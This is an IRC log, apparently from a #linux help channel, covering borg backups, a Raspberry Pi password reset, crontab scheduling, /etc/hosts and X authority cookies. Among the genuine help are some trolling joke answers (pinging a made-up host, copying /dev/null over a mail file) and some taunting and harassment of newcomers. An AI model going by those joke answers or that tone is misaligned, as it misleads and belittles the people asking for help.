debian intasll encryption not letting me unlock the disk + the amount of remote I require made it impossible for a remote restart 19:04 < Psi-Jack> Dominian: This is also pretty cool: https://github.com/kylemanna/systemd-utils 19:05 < Psi-Jack> Dominian: Has some stuff based on the systemd OnError stuff I did a while back, but expanded upon it for more. :) 19:06 < blackflag_bfp> Psi-Jack: next step is getting i3wm which from what I read so far is using the i3wm with some xfce services 19:08 < _BIGSHOT_> wtfndawgs 19:08 < _BIGSHOT_> kkkkkkkkkkkkkkkkkkkkkk 19:08 < busybox42> Psi-Jack: That is pretty neat. I've been kinda looking / thinking about writing a similar set of utilities. So thanks! 19:10 < Psi-Jack> busybox42: Hehe yep yep. 19:23 < JeffATL> are there any common command-line utils that will kick out (as a single output as opposed to e.g. top) what the highest-CPU-consuming processes are? 19:25 < revel> ps and sort? 19:27 < JeffATL> revel: let me man ps and see if that's what i'm after 19:27 < revel> You can sort with ps itself too, I think. 19:28 < o|0o^|> how many langs need > 8 bit characters 19:29 < JeffATL> o|0o^|: most of them, i'd think. :) 19:30 < revel> o|0o^|: All the ones that use non-ASCII characters. 19:30 < o|0o^|> revel is that value greater > 10 ? 19:30 < revel> Uhh, I guess. 19:30 < Psi-Jack> Dominian: Well, borgweb is... Pretty minimal, only can run a backup command set in the pythonic config file, and show you logs. 19:31 < Psi-Jack> That's all it does. 19:31 < revel> French, German, Polish, Russian, Ukrainian, Finnish, Spanish, Portuguese, Hebrew, Arabian... There's 10. 19:32 < o|0o^|> they use more than 200 or so characters? what if you make an oumloute bit, or fancy french apostrophe, or however you spell it? 19:32 < Dominian> Psi-Jack: yeah 19:35 < revel> o|0o^|: Just go stare at Unicode code points or something. 19:38 < o|0o^|> was extended ascii code pages not enough characters for french russian german etc? 19:39 < ayecee> no room for french emojis 19:39 < Psi-Jack> o|0o^|: No. 19:39 < revel> That's a lot of additional characters. 19:40 < o|0o^|> 16 bit strings aren't the end of the world i guess 19:40 < revel> You mean characters? 19:40 < revel> There's 24-bit characters too. 19:40 < Psi-Jack> Heck, just adding Japanese characters alone is a lot. Even just adding the modern Japanese characters. 19:40 < o|0o^|> lol 24? 19:41 < o|0o^|> only a madman would use 24 19:41 < ayecee> heiros gotta glyph 19:41 < revel> Example: よ 19:41 < revel> It's e38288 19:41 < o|0o^|> 3 * strlen() 19:42 < o|0o^|> + 1 19:42 < o|0o^|> oooops 19:45 < mawk> o|0o^|: you mean like ISO-8859-1 ? 19:45 < mawk> it is enough for most of french 19:45 < mawk> it's also called latin1 19:45 < revel> Just use UTF-8. 19:46 < o|0o^|> what's utf-8 19:47 < revel> Unicode. 19:47 < o|0o^|> i was just going to typedef my chars to a uint16_t 19:47 < o|0o^|> problemo no more 19:48 < Trel> When using alpine for mail, if you don't set a role to match on compose, how do you select the smtp server when composing? 19:49 < o|0o^|> or have bit 8 say to throw an extra byte after 19:52 < mawk> you're reinventing UTF-8 o|0o^| 19:52 < o|0o^|> yeah i'm just going to use 8 bit, f the world 19:52 < mawk> UTF-8 is good for english only 19:52 < mawk> for french some characters take 2 bytes instead of the 1 byte it would take in latin1 19:52 < Urchin> utf-8 is also good for a lot of european languages 19:52 < ayecee> the lingua franca of the world 19:54 < blackflag_bfp> So being the n00b that I am I will eventually screw up what I have spent so much time to build by learning an testing. What is the best way to backup my system so if I mess it up I can just restore from a previous pint. Using Debian with Xfce. 19:54 < blackflag_bfp> sry for typos very tired :) 19:54 < Psi-Jack> blackflag_bfp: "sorry" not "sry" 19:55 < blackflag_bfp> Psi-Jack: I am sorry 19:56 < revel> I thought you were blackflag_bfp. 19:56 < _BIGSHOT_> Psi-Jack, are you psycho? don't force people to type "perfektly" 19:56 < ayecee> >:O 19:56 < Psi-Jack> _BIGSHOT_: /topic, URL, rules page. SMS-speak is specifically mentioned. You should know these things. :) 19:57 < blackflag_bfp> revel: am I not? 19:57 < revel> Apparently you're sorry. 19:57 < ayecee> i sure am 19:58 < revel> Not you, ayecee, I meant sorry. 19:58 < ayecee> sorry isn't here 19:58 < revel> Oh? I thought blackflag_bfp was sorry. 19:59 < ayecee> no, he's blackflag_bfp 19:59 < LordRyan> and a liar at that, then 19:59 < ayecee> >:O 19:59 < LordRyan> "I am sorry" - Not sorry, but instead blackflag! 19:59 < blackflag_bfp> revel: I AM tired and was looking for advice when I breached protocol, which funnily enough, I normally can't stand and I hold myself to a standard of excellence. 20:00 < LordRyan> "I AM tired" - Not tired! 20:00 < revel> blackflag_bfp: Just having a bit of fun. 20:00 < LordRyan> you sit upon a throne of lies 20:00 < revel> The lies keep piling up. 20:04 < blackflag_bfp> So the answer is I am not sry nor sorry but blackflag_bfp on a bed of lies in voilation of SMS-speak.... got it, Thank you! :) 20:05 < Psi-Jack> heh 20:05 < Psi-Jack> Now for sentencing.. 20:06 < blackflag_bfp> I did try out rsync but must have gone wrong somewhere because I ended up with some ownership issues. I will have to visit this later since I want to learn how to save this setup soon so I do not have to recreate my wheel. 20:07 < LordRyan> Psi-Jack: you say that, but your sentence is not a complete sentence. Does the one who can't sentence still have the right to sentence someone else? 20:07 < Psi-Jack> LordRyan: Do you know what we do? 20:08 < blackflag_bfp> Psi-Jack: Proper hazing? 20:09 < Psi-Jack> Ahhh.. Very good then. 50 strikes with electrified cluebats it is then. :) 20:09 < ayecee> as is tradition 20:09 < Psi-Jack> So say we all. :) 20:10 < blackflag_bfp> Psi-Jack: thank you for your generosity sire! 20:11 < blackflag_bfp> Now I shal go away before you taunt me a second time 20:11 < Psi-Jack> NI! 20:12 < blackflag_bfp> But I have a shrubbery 20:12 < blackflag_bfp> and a ....herring? 20:13 < DrunkRhino> Alright, so I've finally got my Netbook and Pi working in a thin client-server setup, ssh -X from the thin client session to the netbook itself seems to work now, but that still leaves the video choppy, any thoughts on how to smooth that out? Unencrypted xephyr to localhost? 20:15 < Psi-Jack> DrunkRhino: I'd recommend... Not doing that. 20:15 < Psi-Jack> heh 20:15 < JimBuntu> DrunkRhino, just a double-check, do yo have compression enabled for SSH? 20:16 < Dominian> Psi-Jack: All archives: 571.66 GB 486.66 GB 188.04 GB 20:16 < Dominian> Psi-Jack: that's the entire backup that I still push to CrashPlan. 20:16 < Dominian> that's a huge difference in size 20:16 < Psi-Jack> Dominian: Smaler, I take it? 20:16 < Dominian> So, the way I read that, if I use B2, It'll technically only backup 188.04GB 20:16 < Psi-Jack> Yep 20:16 < ananke> hmm, anybody ever run into issues with kipmi chewing up 100% cpu on ubuntu running on dell cloud hardware (c6100)? both 16.04 and 18.04 have that issue, with vanilla installs. centos7 works just fine 20:16 < Dominian> Psi-Jack: less than a freakin' dollar a month 20:16 < Dominian> That's insane 20:17 < DrunkRhino> Psi-Jack, Didn't enable it the last time, I just tested again with the -X flag this morning and it seems to be working properly. Like I said, I'm just trying to offload everything except Chrome and the DRM bits to the Pi. 20:17 < Psi-Jack> Dominian: hehe 20:17 < Psi-Jack> Dominian: And yet, it's all there. 20:18 < Psi-Jack> Dominian: All archives: 327.61 GB 221.19 GB 31.47 GB 20:19 < Psi-Jack> That's my work desktop and laptop combined. :) 20:19 < DrunkRhino> Also wasn't sure that compression would have much (if any) positive effect given that as I understand it video doesn't compress all that well. 20:20 < Psi-Jack> Video doesn't usually compress much, if at all, but it can soemtimes be deduplicated. :) 20:20 < Dominian> Psi-Jack: yeah that's insane 20:21 < Psi-Jack> Dominian: Now that I have removed pacman's pkg cache directory, that should get smaller over time as they phase out. :) 20:22 < Psi-Jack> But yeah, that includes pkg caches. 20:22 < Psi-Jack> Which are tar.xz files. LOL 20:22 < Dominian> Psi-Jack: Yeah.. I just think that's insane 20:23 < Dominian> it's the 'full' size exactly of my backup on crashplan's servers 20:23 < Dominian> but with borg it's 188GB 20:23 < Dominian> just nus 20:23 < Psi-Jack> hehe how big is the crashplan backup? 20:23 < pikaro_> is there a file manager similar to rox-filer that's still being developed? it's been my goto since forever due to its simplicity, but it's less than perfect and dead. 20:23 < Psi-Jack> :) 20:23 < Dominian> and now that my initial backups are done.... each one from now on should just be deltas basically 20:23 < Dominian> 571.66 GB 20:23 < Dominian> I don't think they're doing compression though 20:23 < pikaro_> (no paned ones, I use i3 so that's just redundant) 20:24 < Psi-Jack> Dominian: I use the lz4 compression method on mine, and encryption. :) 20:24 < Dominian> Psi-Jack: yeah, y ou can say -c lz4 or something right? 20:24 < Psi-Jack> Yeah. 20:25 < Dominian> Psi-Jack: I'll add that to the script and kick it off again 20:26 < Dominian> ah -c isn't right 20:26 < Dominian> -C 20:26 < Dominian> figures 20:26 < Dominian> lol 20:26 < Psi-Jack> lol 20:27 < pikaro_> our is there any interest in a fork of rox-filer? it's independent of the rox desktop apparently, so it could live on standalone, but I have no idea how many people use it. 20:27 < pikaro_> *or 20:27 < Markow> I use Rox-Filer with Openbox and Tint2, love it! 20:28 < Markow> My Linux distro is openSUSE 20:29 < noodlepie> Markow, you might consider trying Debian or Gentoo also, they are good distributions! 20:29 < kalinite> bloop blop horse 20:29 < Markow> Rox-Filer serves two great functions: 1) A file manager, 2) Establishes a "Pinboard", so I can have icons on my desktop 20:29 < Markow> It's perfect with Openbox 20:30 < Markow> noodlepie: I tried Debian, I prefer openSUSE 20:30 < noodlepie> Rox-filer is based on the old ARM RISCOS desktop filer, you can create launchable folders which contain the code and data files for the app. Its cure! 20:30 < noodlepie> cute! 20:31 < phogg> What's a 'desk top'? 20:31 < pikaro_> Markow, for me personally it'd just be about the filer 20:31 * phogg means to imply that icons on the wallpaper are not helpful 20:32 < Markow> It's the lightest DE you can possibly create (one that contains moveable / clickable icons): Rox-Filer + Openbox 20:32 < Markow> Annd Tint2 to that 20:32 < Markow> *Add 20:32 < noodlepie> wmaker is good fun too 20:32 < pikaro_> it's gettin 90s in here 20:33 < Markow> pikaro_: Temperature? 20:33 < pikaro_> ui concepts 20:33 < Markow> pikaro_: Openbox is contemporary 20:33 < Markow> Light, fast, customizable 20:33 < pikaro> windowmaker is not 20:34 < pikaro> (realistically speaking) 20:34 < sushemsu> for shadow, hashing, what can I use as a sed delim (_?) to seperate elements? I had / come up in a hash 20:37 < Dominian> Psi-Jack: compression must default to lz4 or whatever 20:38 < Dominian> Psi-Jack: size is still ~ 188GB 20:38 < Dominian> which still that's the 'deduplicated' size.. so I can deal with that 20:40 < hehehe> using namei how I can check if specific user can traverse 20:40 < DrunkRhino> How would I go about exporting the magic cookie from the thin client session running on the pi to the laptop itself so I can try running it a slightly different way? 20:41 < kalinite> moo 20:41 < hehehe> fuck that 20:41 < hehehe> lol 20:47 < DrunkRhino> Wait, got it. Needed to use xauth merge not xauth add. 20:51 < pankaj_> hellozee: In order to become a linux system administrator what level of knowledge and skills are necessary? 20:52 < rypervenche> pankaj_: Depends on the job and what you're doing. 20:52 < SuperSeriousCat> You got to be abe to install LFS without the book 20:55 < _BIGSHOT_> hey super duper SuperSeriousCat why don't you chime in in #plex 20:56 < SuperSeriousCat> Because you spam and whine. cba to deal with you 20:56 < Dominian> Yeah, let's not bring other channel issues into here _BIGSHOT_ 20:56 < Dominian> thanks. 20:56 < _BIGSHOT_> aww i sowwy for spammin yo chan 20:56 < rypervenche> Today's message was brought to you by the word, Honest. 20:57 < _BIGSHOT_> SuperSeriousCat, can i pm you beautie? 20:57 < jimm> please expand cba 20:57 < uplime> can't be arsed 20:59 < _BIGSHOT_> hey SuperSeriousCat don't be soo serious lighten up... more seriousness doesn't turn into more $$$ 20:59 < Dominian> Enough 20:59 < jimm> agreed 20:59 < _BIGSHOT_> yo dude don['t poke 20:59 < jimm> _BIGSHOT_, likewise, drop it 21:02 < laggger164> I was wondering. Do any of you guys know if the Meltdown and Spectre security holes are able to compromise a virtualization host through a virtualized guest? If yes, in what scenarios? 21:04 < markasoftware> i think so 21:04 < ayecee> yes, that was the major part of the concern about Meltdown and Spectre. 21:05 < ayecee> though i don't know of any exploits in the wild. 21:05 < laggger164> ayecee: OK, thanks for the info! 21:06 < mxms> is it possible to turn on unfair scheduling? i am trying to hit test for race conditions (without using threadsan) and would like to have unfair scheduling :p 21:06 < mxms> also can't really go add sleeps everywhere 21:13 < JeffATL> Anyone know how to make Bluefish where it will execute bash? bluefish's web site is down 21:13 < ayecee> what is bluefish 21:13 < JeffATL> ayecee: an IDE 21:14 < ayecee> i see 21:17 < phogg> I have not used bluefish in years. 21:17 * phogg installs it 21:18 < Styil> Hello there, can I get some help resetting my password on my rpi. I boot it with init=/bin/sh and try to run passwd, but authentication fails or something. I then go to try to remount / but it fails at that as well, can’t find partuuid 21:19 < Styil> Can someone help me out 21:20 < SuperSeriousCat> raspbian? 21:20 < mawk> what is the exact error message Styil ? 21:20 < ayecee> "authentication fails or something" 21:20 < mawk> when passwd fails 21:20 < mawk> lol 21:20 < mawk> you can hand-modify /etc/shadow on the sd card maybe 21:20 < ayecee> error message: "like, i dunno man" 21:20 < Styil> Authentication Token Manupulation error 21:20 < Psi-Jack> SuperSeriousCat: RaspberyPi Debian blend. 21:20 < Styil> Thought that was obvious, sorry 21:21 < mawk> that's not an authentication error 21:21 < mawk> *passwd* is saying that ? 21:21 < Styil> Yes 21:21 < ayecee> Styil: no. there are more different ways for it to fail than for it to work. error messages are important. 21:21 < Styil> I read that it is likely due to the drive being mounted in read only mode 21:21 < mawk> then remount rw 21:21 < mawk> you didn't check that ? 21:21 < Styil> I go to remount with rw, but that fails with “cant find partuuid” 21:21 < ayecee> how were you trying to remount, and what was the error message? 21:21 < mawk> just type mount 21:21 < mawk> how are you trying to do that exactly ? 21:21 < ayecee> what was your command? 21:22 < Styil> mount -o remount,rw / 21:22 < ayecee> seems legit 21:23 < ayecee> normally that doesn't happen 21:23 < Styil> Well aware :P 21:24 < mawk> what's the error message for that remount command ? 21:24 < ayecee> i use "mount -wo remount /". I don't know if it would act any different. 21:24 < SuperSeriousCat> Psi-Jack, know :p Asked if it was the OS he used 21:24 < Styil> “can’t find partuuid=” 21:24 < mawk> that's not a raw mount() error message 21:24 < ayecee> what's the rest of the error message 21:25 < mawk> mount could be doing something nasty you don't want it to do 21:25 < mawk> try with mount -n instead of mount 21:25 < mawk> to skip reading mtab 21:25 < mawk> or mount a few required filesystems before 21:25 < Styil> Same error 21:25 < mawk> mount -t proc proc /proc; mount -t sysfs sysfs /sys; mount -t devtmpfs udev /dev; mount -t devpts devpts /dev/pts 21:26 < mawk> just the first one should help a little 21:27 < Styil> Did it, got “mount: udev is already mounted or /dev busy” and 21:27 < mawk> ? 21:27 < mawk> saying init=/bin/sh shouldn't mount /dev, or I'm mistaken 21:27 < Styil> “mount: mount point dev/pts does not exist 21:28 < mawk> yeah nevermind 21:28 < mawk> the most important was /proc 21:28 < revel> mawk: /dev is static on rpi's, I think. 21:28 < Styil> Hmm, that’s better 21:28 < Styil> fdisk didn’t run earlier because it couldn’t find proc, but now it works 21:29 < Styil> What now though? 21:29 < mawk> try the mount again 21:29 < revel> Guess not. 21:29 < mawk> yeah everyone needs udev revel 21:29 < Styil> Oh, remount works 21:29 < Styil> Huh 21:29 < mawk> especially a raspberry pi 21:29 < revel> Maybe it is underneath the devtmpfs mount. 21:29 < Styil> Password updated successfully 21:29 < Styil> Thanks 21:29 < Styil> It worked 21:30 < revel> Either way, I'm pretty sure the Raspbian image has a static /dev 21:30 < Styil> Is there any way to remove init=/bin/sh from here from the boot options so that I don’t need another computer? 21:30 < mawk> it's common to have a static /dev and a devtmpfs is mounted over it revel yes 21:31 < mawk> with a couple useful devices in it like stdin stdout stderr fd zero null full random urandom 21:31 < mawk> required by some unix standard 21:31 < revel> Makes sense. 21:31 < mawk> Styil: in /boot no ? 21:31 < Styil> ./boot is emtpy 21:32 < Styil> It’s fine, I’ll just use another computer when I get the chance, thanks 21:32 < mawk> it's maybe in another partition 21:34 < Psi-Jack> The underlying /dev under devfs is usually just console. 21:34 < Psi-Jack> These days. :) 21:35 < Li> after connecting usb3 industrial camera to my laptop, downloaded>installed drivers, figured out the corresponding /dev/dviceName, used mplayer tv:///dev/devinceName then it ended up playing my laptop's front camera 21:35 < Li> Psi-Jack: could you give one of your silly labels to that? 21:36 * Psi-Jack stamps it, "Ducky" 21:36 < Li> cool 21:36 < noway96> here's my dilemma. In my /etc/hosts file I have X map to Y. But then I want Z to map to X s.t. it actually goes to X and not Y. How? 21:36 < Li> or shall I say kewl 21:36 < Psi-Jack> noway96: You make no sense. 21:36 < ayecee> noway96: an example might help 21:37 < mawk> noway96: X Y Z don't have the same unit 21:37 < mawk> you map hosts to ip addresses 21:38 < noway96> I have www.google.com map to localhost. So if I go on my browser to www.google.com, it will navigate to local host. But then I want www.ayecee.com to map to www.google.com s.t. when I enter www.ayecee.com it takes me to the search engine's web site. How? 21:38 < Psi-Jack> noway96: You make no sense still. 21:38 < Psi-Jack> Pastebin required. 21:38 < mawk> noway96: you don't map to localhost 21:38 < mawk> you map to 127.0.0.1 21:38 < noway96> mawk, meh ok 21:38 < Psi-Jack> (Not pastebin.com though) 21:38 < ayecee> noway96: your browser isn't using www.google.com for its search engine lookups. 21:38 < mawk> not noway96 , not meh 21:38 < mawk> you don't map one domain name to another 21:39 < mawk> so what you describe can't be done with /etc/hosts 21:39 < noway96> mawk, ? 21:39 < noway96> I'll just paste the /etc/hosts 21:39 < ayecee> oh, i see. 21:39 < ayecee> noway96: you'd need to find out what address www.google.com maps to, and then put that in for www.ayecee.com in /etc/hosts 21:40 < ayecee> can't map one name to another, can only map name to address. 21:40 * noway96 facepalms 21:40 < noway96> ayecee, you're right, thanks. This is an easy soln lol 21:40 < ayecee> heh 21:41 < Psi-Jack> noway96: We covered this already. "solution" not "soln" 21:42 < drb1> Are you sure that period is supposed to be there, Psi-Jack? 21:43 < nobrain> yes, Psi-Jack, please respect punctuation rules. 21:45 < Psilocyber> Welcome to #linux, were we fix youre linux, AND grammer. 21:45 < rypervenche> nobrain: Please respect capitalization rules. 21:46 < nobrain> rypervenche: I try, but its' hard, remember I have no brain. 21:46 < Psi-Jack> Psilocyber: It's spelled grammar, and what you're talking about is not actually grammar, though seems to be a common mistake in the people that speak up about these issues. :) 21:46 < ayecee> insane in the membrane 21:46 < rypervenche> nobrain: This explains a lot. :D 21:47 < Psilocyber> U can speel anywhey u lik bb 21:47 < nobrain> yeah fuck that, anarchy!!!! 21:47 < ayecee> free spelchek worgs grate 21:47 < Psi-Jack> Psilocyber: Sure. You can also be banned for it. :) 21:47 * rypervenche waits for Psilocyber to get kicked. 21:48 < uplime> me fail english? thats unpossible! 21:48 < ayecee> might be waiting quite a while 21:48 < Psilocyber> Oof, my sides 21:49 < nobody> hi :) 21:49 < Psi-Jack> 65535: Morning, nobody. 21:49 < ayecee> it's 10am somewhere 21:50 < Dominian> Psi-Jack: just put the ticket in to cancel crashplan 21:50 < Psi-Jack> Dominian: Nice,. :) 21:50 < Dominian> even though technically I can keep it until July.. but.. I'd probably forget about it 21:50 < ayecee> that's how they get you 21:50 < Psi-Jack> Indeed. 21:51 < Psi-Jack> "Oops, I forgot" 21:51 < Psi-Jack> One more year, sucker! 21:52 < Psilocyber> "Why trust a Chinese Distribution?" hmmmmm 21:53 < Dominian> Psi-Jack: actually, after the migration, it would be $10 bucks per month if I kept it 21:53 < Psi-Jack> Dominian: Ahhh. Eh, Was thinking year contracts. :) 21:54 < Dominian> Psi-Jack: When It was the crashplan home, it was per year 21:54 < Dominian> and at that moment.. it WAS worth the cost 21:54 < Psi-Jack> Heh yeah. 21:54 < Psi-Jack> I know. I was on the Crashplan Home. 21:54 * Dominian nods 21:54 < deepfalcon> I supposed this is Linux channel. 21:55 < Dominian> So.. just so I get this Psi-Jack 21:55 < Psi-Jack> deepfalcon: No. It's a bottomless pit feeder. 21:55 < ayecee> deepfalcon: that would explain the name 21:55 < nobrain> deepfalcon: not anymore, now it is #grammar-lessons 21:55 < Dominian> Psi-Jack: with borg... and I couple it with the other tool, when it 'backs up' to that provider.. it's backing up the 'deuplicated' size correct? 21:55 < Dominian> deduplicated that is 21:55 < Psi-Jack> Yep. :) 21:55 < ayecee> nobrain: #butthurt 21:55 < Dominian> awesome 21:56 < nobrain> ayecee: I bet you are OP there 21:56 < nobrain> or channel owner 21:56 < Psi-Jack> Dominian: du -hs on the repo directory itself. :) 21:57 < Psi-Jack> Dominian: That'll match up with the deduplicated size as well. :) 21:57 < Dominian> 176G.. not bad 21:57 < Dominian> Well the last report of the backup says: 188.07 GB 21:58 < Dominian> Whic his.. odd 21:58 < Psi-Jack> Did you dd the repo directory or . within the directory? ;) 21:58 < Psi-Jack> Err, du 21:58 < Dominian> hmm? 21:58 < Dominian> du the full path to the repo 21:59 < Psi-Jack> Hmm.. Well, it's close. :) 21:59 < Dominian> yeah 21:59 < Dominian> either way.. 22:00 < Dominian> hmm I need to exclude .cache directories 22:03 < Psi-Jack> I mentioned that. Hehe 22:04 < Dominian> Psi-Jack: yah 22:04 < Dominian> didn't really 'change' the size much 22:04 < Dominian> just excluded /home/*/.cache 22:04 < Dominian> reran.. took maybe 2GB off lol 22:06 < DrunkRhino> If I wanted to use ssh + xdotools at the LightDM login screen (for typing in my PIN), I'd need to copy the magic cookie for :0, correct? 22:07 < revel> DrunkRhino: afaik, yes. 22:07 < revel> Or just set XAUTHORITY to point to it. 22:07 * DrunkRhino grumbles 22:07 < revel> Well, you'd have to be able to read it. 22:07 < o|0o^|> Dominian: the return key is not punctuation 22:08 < ayecee> the peanut gallery is agitated 22:08 < revel> ayecee: What? 22:08 < Dagmar> If ssh is involved you can probably just let _it_ copy those 22:08 < ayecee> THE PEANUT GALLERY IS AGITATED 22:09 < nobrain> WHY YOU YELL MAN 22:09 < revel> Dagmar: lightDM, though, not an X session you've logged into with your account. 22:09 < revel> Just the log-in screen. 22:09 < ayecee> cause he couldn't hear 22:09 < Dagmar> Meh. I just use xdmcp for that stuff 22:10 < DrunkRhino> revel: that's what I thought, not sure how I'd go about syncing it up with my phone though. I'm gonna write up a script so LDM copies the .Xauthority from the thin-client serve, removes the old entry for :0, and merges it into its own .Xauthority file so I can ssh on in and launch things using the netbook's hardware. 22:10 < Dominian> o|0o^|: I'll continue to do it 22:10 < Dominian> o|0o^|: just to irritate you 22:10 < ayecee> as is tradition 22:10 < Dagmar> He doesn't use periods to end his sentences, either... the insensitive bastard. 22:10 < DrunkRhino> But that still leaves me having to get up & type in my PIN with the netbook's tiny keyboard. 22:11 < Dominian> Dagmar: Let me tell you something.... :P 22:11 < Dagmar> hehe 22:13 < DrunkRhino> Hopefully that all makes sense. I just finished setting it up and the way I've got it looping back around to itself with XDMCP, SSH, and x0vncserver to divvy up resource and get the outputs going where they're supposed to makes MY head hurt. 22:16 < CuriousMind> Hi, I need help with shell command stuff. Am I in the right place? 22:17 < phinxy> When installing a new kernel apt or dpkg seems to put a Image, initrd.img and dtb in /boot/efi. Is this a syslinux/ARM thing? 22:17 < Dominian> CuriousMind: Just ask your question :) 22:18 < CuriousMind> Dominian: Ha alrighty 22:18 < Dominian> phinxy: isn't htat for secure boot bios stuff? 22:18 < Dominian> I haven't messed with efi stuff much 22:19 < phinxy> On my Intel amd64 machine or, main-pc there is a initrd and vmlinuz under /boot. 22:19 < Dominian> phinxy: depends on options in your box I guess.. 22:21 < CuriousMind> Dominian: My goal is to create a cron job. I am following this guide: https://goo.gl/7ggwpB. I'm still on step one which says to copy my script file to one of the directories. Problem: My cron job will run yearly so which directory do I copy my script file to? 22:22 < Dominian> CuriousMind: Probably have to schedule it yourself 22:23 < CuriousMind> Dominian: I don't know what that means 22:27 < rypervenche> CuriousMind: You would run "crontab -e" as the user you want the cronjob to run as. And set the time to what you like. 22:27 < rypervenche> CuriousMind: You can use @yearly or make your own time: @yearly : Run once a year, ie. "0 0 1 1 *". 22:28 < rypervenche> CuriousMind: Out of curiosity, what is it that you need to run only once a year? 22:29 < CuriousMind> rypervenche: Wow this is good, thanks for your help. I am trying to run mailsend command, I am doing my midterm right now 22:30 < jml2> CuriousMind, you are a hacker 22:30 < jml2> CuriousMind, you cheat on your midterms 22:31 < CuriousMind> jml2: I wish I was ;) 22:31 < CuriousMind> jml2: Do you know how to hack? 22:31 < jml2> CuriousMind, you mean in the bronx? 22:31 < jml2> CuriousMind, cuz I do 22:32 < pankaj_> Sometimes, my Internet connection is very slow. I do not know what it is doing although the internet is properly configured. Is their any tool that will help to figure out about this? 22:32 < pankaj_> Like it may be downloading in background but which program and how to stop it or some sort of arrangement of downloads 22:32 < jml2> pankaj_, I blame Kovind 22:33 < jml2> pankaj_, ping kovind.ip.com and see how long it takes 22:34 < jml2> I think I scared CuriousMind and that is a good thing 22:35 < DrunkRhino> If a script is being run as root, can I just use something like "sudo -u user scp remote:~/.Xauthority ~/xauth.server"? 22:36 < [itchyjunk]> hey, i have this laptop and it suddnely stopped connnecting to the wifi. when i click that little 2 computer symbol (gui icon of wifi options) i see a "Enable Wi-Fi box but i can't check it 22:36 < [itchyjunk]> umm think its debian 22:36 < revel> DrunkRhino: That'd be remote:.Xauthority 22:36 < [itchyjunk]> not sure how to figure out what gui i have one it 22:37 < [itchyjunk]> its linux debianist 22:37 < [itchyjunk]> debian 4.9.3 22:37 < [itchyjunk]> :( 22:38 < revel> DrunkRhino: I think using a full path instead of ~/xauth.server (?) would be better as well since it maaay read that as /root/xauth.server 22:38 < revel> Or some other way of representing the home dir. 22:39 < DrunkRhino> revel, good points. I suppose I could do ~user/.Xauthority? 22:39 < revel> If it refers to the remote host, then I don't think so. Locally? Sure. 22:41 < DrunkRhino> revel, yup, I meant locally. I've got ssh set up with pubkey auth in both directions on my Pi and Netbook, so I just need to use scp as the netbook user to copy the .Xauth file from the Pi running the server. 22:41 < CuriousMind> rypervenche: crontab -e "0 0 1 1 * " Is this right? 22:41 < rypervenche> CuriousMind: No. Run "crontab -e" and then it will open a file in your default editor. 22:42 < revel> CuriousMind: "crontab -e" 22:42 < rypervenche> CuriousMind: What user do you want to run this command as? 22:43 < CuriousMind> rypervenche: I'm going to say something dumb. I know my user already. I can't run it as root 22:43 < CuriousMind> It 22:43 < CuriousMind> It's a regular user 22:46 < jml2> what's gunna happen on january 1st 2019? 22:46 < jml2> just a crontab forkbomb 22:47 < pankaj_> jml2: I did pinging to it and it just said that it does not identify it. 22:48 < jml2> xauth extract - $DISPLAY | ssh otherhost xauth merge --- has in man xauth, 22:48 < jml2> DrunkRhino, ^, if that helps 22:48 < jml2> pankaj_, :) 22:49 < jml2> pankaj_, and you must still be too young to know the president of your country LOL 22:49 < rypervenche> CuriousMind: Then run "crontab -e" as your user. 22:50 < CuriousMind> rypervenche: Ok thanks 22:53 < jml2> CuriousMind, be crontabber you bronx bum! 22:53 < rypervenche> CuriousMind: Do you care exactly when the cron will run? Or do you just need it to happen once a year at any time? 22:54 < jml2> rypervenche, he's gunna have something blow up on january 1st... 22:54 < rypervenche> jml2: :D 22:54 < CuriousMind> rypervenche: Yes, it has to run at 12am 22:55 < rypervenche> CuriousMind: 12am, once a year, doesn't matter what day or month? 22:55 < DrunkRhino> jml2, I was trying that earlier, but now I see I missed a "-" after the extract, which is probably why that got messed up. I'll probably set MATE to run that on session startup instead of doing it with LightDM 22:55 < meyou> so 12am on 12/31 and then 12am on 1/1 22:55 < DrunkRhino> No fussing with sudo -u that way 22:55 < CuriousMind> rypervenche: The month is December and the day is 31 22:55 < meyou> i'm guessing he wants once a year on the same date 22:56 < rypervenche> CuriousMind: Then you will want to use that date instead of the one that you have chosen. 22:56 < Psi-Jack> sudo? On X session startup? 22:56 < meyou> 0 0 31 12 * 22:56 < jml2> DrunkRhino, ever use x2go? 22:56 < CuriousMind> rypervenche: Yes, I will use that date. Also, I have one more problem 22:56 < meyou> @CuriousMind, 22:56 < DrunkRhino> jml2, can't say that I have 22:57 < jml2> DrunkRhino, it works under ssh, and provides remote X sessions 22:57 < jml2> DrunkRhino, it supports the mate desktop 22:58 < CuriousMind> rypervenche: I am in crontab -e. I understand the first five fields. But, I don't understand the four fields that come after 22:58 < Psi-Jack> meyou: <-- That is correct IRC syntax, and can be completed. @nick cannot. :) 22:58 < DrunkRhino> jml2, well I'll take a look, but this thing is mostly set up already, just sanding down the rough edges a bit. 22:58 < meyou> what in the world 22:58 < rypervenche> CuriousMind: You put the full path to the script you want to run after the numbers. 22:59 < meyou> who hurt you @Psi-Jack 22:59 < CuriousMind> rypervenche: Ah ok, thank you very much for your help. I appreciate it! 22:59 < Psi-Jack> meyou: IRC is not Twitter, Slack, Discord, etc. 22:59 < Psi-Jack> @-nick convention is uncommon and unusual here. :) 22:59 < meyou> @Psi-Jack, tab complete works fine 23:00 < nelder> guys, is it possible install grub on gpt disk with uefi, which controlls multyboot from first disk (gpt) and second disk (mbr)? 23:00 < jml2> nelder, there's "grub-efi" and there's "grub-pc" 23:01 < jml2> nelder, grub-pc is for MBR-bios boots 23:02 < Trel> When using pine/alpine with SMTP is there any way to get it to save sent mail in the remote server's sent mail, but NOT the local one under /home//mail/sent-mail 23:02 < nelder> i use gentoo, and there is only "grub" package, i don't know what version is it, i guess that both. So as i see i can configure only gpt+gpt or mbr+mbr< but not gpt+mbr. right? 23:03 < kurahaupo> Trel: use an imap account for the sent-mail 23:03 < rypervenche> Trel: I only use mutt/neomutt, but if the concept is the same, you would have your mailbox using IMAP(S) and everything would be remote, except for your cache. 23:03 < kurahaupo> You can connect to multiple IMAP accounts at once 23:04 < meyou> cp -a /dev/null /home//mail/sent-mail 23:04 < meyou> hmmmm 23:04 < kurahaupo> meyou: why? 23:04 < meyou> just spitballin 23:05 < kurahaupo> Trel: also /home/yourname is just $HOME 23:05 < kurahaupo> Or even ~ 23:06 * Psi-Jack takes kurahaupo's ~ 23:07 * kurahaupo sees Psi-Jack's ~ and raises a ~them 23:09 < Trel> kurahaupo: alpine is storing it in *cough* $HOME/mail/sent-mail rather than the Sent mail folder on the imap/smtp server. 23:10 < Trel> I 